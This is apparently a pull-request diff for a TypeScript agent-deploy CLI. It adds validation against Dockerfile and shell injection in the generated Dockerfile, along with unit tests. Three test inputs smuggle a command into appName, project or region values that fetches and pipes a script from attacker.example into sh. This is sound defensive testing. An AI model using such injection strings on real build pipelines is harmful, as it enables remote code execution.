Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 25 additions & 0 deletions dev/src/cli/deploy/deploy_utils.ts
Original file line number Diff line number Diff line change
Expand Up @@ -56,9 +56,34 @@ export interface BaseDeployOptions extends CreateDockerFileContentOptions {
agentFileLoadOptions?: AgentFileOptions;
}

// Dockerfile instructions and the generated CMD's shell form have no
// generic escaping mechanism for interpolated values: a newline breaks out
// of the current instruction to start a new one, and shell metacharacters in
// the CMD line are interpreted by /bin/sh at container start. Restricting
// these values to a plain identifier closes both at once, since none of them
// (an agent name, a GCP project ID, or a GCP region) legitimately need
// anything outside this set.
const SAFE_DOCKERFILE_TOKEN_RE = /^[A-Za-z0-9_.-]{1,128}$/;

function assertSafeDockerfileToken(value: string, label: string): void {
if (!SAFE_DOCKERFILE_TOKEN_RE.test(value)) {
throw new Error(
`Invalid ${label} "${value}": must match ${SAFE_DOCKERFILE_TOKEN_RE} to be safely embedded in the generated Dockerfile.`,
);
}
}

export function createDockerFileContent(
options: CreateDockerFileContentOptions,
): string {
assertSafeDockerfileToken(options.project, 'project');
if (options.region) {
assertSafeDockerfileToken(options.region, 'region');
}
if (options.appName) {
assertSafeDockerfileToken(options.appName, 'appName');
}

const adkCommand = options.withUi ? 'web' : 'api_server';
const adkServerOptions = [`--port=${options.port}`, '--host=0.0.0.0'];

Expand Down
39 changes: 39 additions & 0 deletions dev/test/cli/cli_deploy_cloud_run_test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -112,6 +112,45 @@ describe('createDockerFileContent', () => {
expect(content).toContain('--allow_origins=http://example.com');
expect(content).toContain('--otel_to_cloud');
});

it('should reject an appName that would break out of the generated Dockerfile', () => {
// A newline lets an attacker-controlled agent directory name terminate
// the COPY instruction it's embedded in and start a new Dockerfile
// instruction (e.g. RUN), executed during `docker build`.
expect(() =>
createDockerFileContent({
...defaultOptions,
appName: 'x"\nRUN curl https://attacker.example/x.sh | sh\n#',
}),
).toThrow(/Invalid appName/);
});

it('should reject a project that would break out of the generated Dockerfile', () => {
expect(() =>
createDockerFileContent({
...defaultOptions,
project: 'p\nRUN curl https://attacker.example/x.sh | sh\n#',
}),
).toThrow(/Invalid project/);
});

it('should reject a region that would inject a shell command into the container CMD', () => {
expect(() =>
createDockerFileContent({
...defaultOptions,
region: 'us-central1; curl https://attacker.example/x.sh | sh #',
}),
).toThrow(/Invalid region/);
});

it('should still accept appName/project/region containing dots, dashes, and underscores', () => {
const content = createDockerFileContent({
...defaultOptions,
appName: 'my-agent_v2.1',
project: 'my-project.example-123',
});
expect(content).toContain('agents/my-agent_v2.1/');
});
});

describe('deployToCloudRun', () => {
Expand Down